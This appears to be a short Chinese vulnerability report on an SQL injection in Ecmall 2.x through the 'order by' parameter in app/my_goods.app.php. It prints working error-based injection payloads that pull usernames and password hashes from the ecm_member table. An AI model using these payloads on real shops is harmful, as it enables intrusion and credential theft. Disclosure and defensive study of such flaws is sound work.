Ecmall 2.x版本存在通杀SQL注入漏洞

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: 本来想早点分析完然后奋斗ECSHOP...结果一直不给老衲机会啊,越来越不敢相信是不是官方版本了,是不是下错了.酒喝多了头有点晕.不知道有没有把分析写错... ### 详细说明: order by 参数注入,后面不能跟union,但是可以用双重查询. select...from...order by 1 and (select user_name from ecm_member where user_id=1) 或者 select...from...order by 1,(select user_name from ecm_member where user_id=1) 但是在第2个select里面可以用union select...from...order by 1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b) 或 select...from...order by 1,(select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b) app/my_goods.app.php ``` function index() { /* 取得店铺商品分类 */ $this->assign('sgcategories', $this->_get_sgcategory_options()); $conditions = $this->_get_conditions(); $page =...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息